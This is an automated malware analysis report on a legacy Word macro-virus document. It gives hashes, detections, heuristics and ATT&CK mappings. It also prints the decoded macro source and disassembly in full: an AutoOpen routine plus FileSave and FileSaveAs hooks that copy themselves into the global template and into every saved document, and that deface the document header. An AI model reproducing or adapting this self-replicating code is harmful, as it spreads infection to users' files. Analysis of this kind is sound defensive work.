Office (OLE) malware analysis — malicious · 1583cd7503d675d3

MALICIOUS

Office (OLE)

36.5 KB Created: 1999-04-04 15:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 7861a39228ec04ce315e8f000c772015 SHA-1: 695ff91c1b91f3ef50138fd0a5a6db3ba30b81d2 SHA-256: 1583cd7503d675d330ac3c365b8526a02136ef1047e548c581de654ddc7660ba

188 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and VBA macros, including an AutoOpen subroutine. The document body explicitly states it is a 'RSN MACRO VIRUS Goat file' and the AutoOpen macro inserts a message indicating the document is infected. This indicates a malicious document designed to spread via attachment, likely attempting to infect the user's system with a macro virus.

Heuristics 4

ClamAV: Doc.Trojan.Header-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Header-1
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "AutoOpen"
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6092 bytes
SHA-256: `f15894003f82259fb25148f289814bf10bb1e74c9d287758a6c1c37cf59f082e`
Detection ClamAV: Doc.Trojan.Header-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AutoOpen" Public Sub MAIN() Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro." Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN" Dim f$ Dim Success f$ = WordBasic.[FileName$]() WordBasic.MacroCopy f$ + ":AutoOpen", "Global:ao" WordBasic.MacroCopy f$ + ":fsa", "Global:FileSaveAs" WordBasic.MacroCopy f$ + ":fs", "Global:FileSave" WordBasic.EditSelectAll WordBasic.FormatFont Color:=7 WordBasic.StartOfDocument Success = WordBasic.ViewHeader() If Not Success Then WordBasic.ViewHeader WordBasic.EditSelectAll WordBasic.Insert "Your document was infected by a very dangerous virus!" WordBasic.ViewHeader End Sub Attribute VB_Name = "fsa" Public Sub MAIN() Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file" Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.fsa.MAIN" Dim f$ On Error GoTo -1: On Error GoTo Abort Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False) WordBasic.CurValues.FileSaveAs dlg WordBasic.Dialog.FileSaveAs dlg If dlg.Format = 0 Then dlg.Format = 1 WordBasic.FileSaveAs dlg f$ = WordBasic.[FileName$]() WordBasic.MacroCopy "Global:FileSaveAs", f$ + ":fsa" WordBasic.MacroCopy "Global:FileSave", f$ + ":fs" WordBasic.MacroCopy "Global:ao", f$ + ":AutoOpen" WordBasic.FileSave Abort: End Sub Attribute VB_Name = "fs" Public Sub MAIN() Attribute MAIN.VB_Description = "Saves the active document or template" Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.fs.MAIN" Dim f$ WordBasic.FileSave f$ = WordBasic.[FileName$]() WordBasic.FileSaveAs Name:=f$, Format:=1, AddToMru:=0 WordBasic.MacroCopy "Global:FileSaveAs", f$ + ":fsa" WordBasic.MacroCopy "Global:FileSave", f$ + ":fs" WordBasic.MacroCopy "Global:ao", f$ + ":AutoOpen" WordBasic.FileSave End Sub ' Processing file: /tmp/qstore_i3ejz1uw ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 965 bytes ' Macros/VBA/AutoOpen - 2451 bytes ' Line #0: ' Line #1: ' FuncDefn (Public Sub MAIN()) ' Line #2: ' Dim ' VarDefn False ' Line #3: ' Dim ' VarDefn Success ' Line #4: ' Ld WordBasic ' ArgsMemLd [FileName$] 0x0000 ' St False$ ' Line #5: ' Ld False$ ' LitStr 0x0009 ":AutoOpen" ' Add ' LitStr 0x0009 "Global:ao" ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #6: ' Ld False$ ' LitStr 0x0004 ":fsa" ' Add ' LitStr 0x0011 "Global:FileSaveAs" ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #7: ' Ld False$ ' LitStr 0x0003 ":fs" ' Add ' LitStr 0x000F "Global:FileSave" ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #8: ' Ld WordBasic ' ArgsMemCall EditSelectAll 0x0000 ' Line #9: ' LitDI2 0x0007 ' ParamNamed Color ' Ld WordBasic ' ArgsMemCall FormatFont 0x0001 ' Line #10: ' Ld WordBasic ' ArgsMemCall StartOfDocument 0x0000 ' Line #11: ' Ld WordBasic ' ArgsMemLd ViewHeader 0x0000 ' St Success ' Line #12: ' Ld Success ' Not ' If ' BoSImplicit ' Ld WordBasic ' ArgsMemCall ViewHeader 0x0000 ' EndIf ' Line #13: ' Ld WordBasic ' ArgsMemCall EditSelectAll 0x0000 ' Line #14: ' LitStr 0x0035 "Your document was infected by a very dangerous virus!" ' Ld WordBasic ' ArgsMemCall Insert 0x0001 ' Line #15: ' Ld WordBasic ' ArgsMemCall ViewHeader 0x0000 ' Line #16: ' EndSub ' Macros/VBA/fsa - 1947 bytes ' Line #0: ' Line #1: ' FuncDefn (Public Sub MAIN()) ' Line #2: ' Dim ' VarDefn False ' Line #3: ' OnError <crash> ' BoS 0x0000 ' OnError Abort ' Line #4: ' Dim ' VarDefn dlg (As Object) ' BoS 0x0000 ' SetStmt ' LitVarSpecial (False) ' Ld WordBasic ' MemLd DialogRecord ' ArgsMemLd FileSaveAs 0x0001 ' Set dlg ' Line #5: ' Ld dlg ' Ld WordBasic ' MemLd CurValues ' ArgsMemCall FileSaveAs 0x0001 ' Line #6: ' Ld dlg ' Ld WordBasic ' MemLd Dialog ' ArgsMemCall FileSaveAs 0x0001 ' Line #7: ' Ld dlg ' MemLd Format$ ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' LitDI2 0x0001 ' Ld dlg ' MemSt Format$ ' EndIf ' Line #8: ' Ld dlg ' Ld WordBasic ' ArgsMemCall FileSaveAs 0x0001 ' Line #9: ' Ld WordBasic ' ArgsMemLd [FileName$] 0x0000 ' St False$ ' Line #10: ' LitStr 0x0011 "Global:FileSaveAs" ' Ld False$ ' LitStr 0x0004 ":fsa" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #11: ' LitStr 0x000F "Global:FileSave" ' Ld False$ ' LitStr 0x0003 ":fs" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #12: ' LitStr 0x0009 "Global:ao" ' Ld False$ ' LitStr 0x0009 ":AutoOpen" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #13: ' Ld WordBasic ' ArgsMemCall FileSave 0x0000 ' Line #14: ' Label Abort ' Line #15: ' EndSub ' Macros/VBA/fs - 1645 bytes ' Line #0: ' Line #1: ' FuncDefn (Public Sub MAIN()) ' Line #2: ' Dim ' VarDefn False ' Line #3: ' Ld WordBasic ' ArgsMemCall FileSave 0x0000 ' Line #4: ' Ld WordBasic ' ArgsMemLd [FileName$] 0x0000 ' St False$ ' Line #5: ' Ld False$ ' ParamNamed New ' LitDI2 0x0001 ' ParamNamed Format$ ' LitDI2 0x0000 ' ParamNamed AddToMru ' Ld WordBasic ' ArgsMemCall FileSaveAs 0x0003 ' Line #6: ' LitStr 0x0011 "Global:FileSaveAs" ' Ld False$ ' LitStr 0x0004 ":fsa" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #7: ' LitStr 0x000F "Global:FileSave" ' Ld False$ ' LitStr 0x0003 ":fs" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #8: ' LitStr 0x0009 "Global:ao" ' Ld False$ ' LitStr 0x0009 ":AutoOpen" ' Add ' Ld WordBasic ' ArgsMemCall MacroCopy 0x0002 ' Line #9: ' Ld WordBasic ' ArgsMemCall FileSave 0x0000 ' Line #10: ' EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.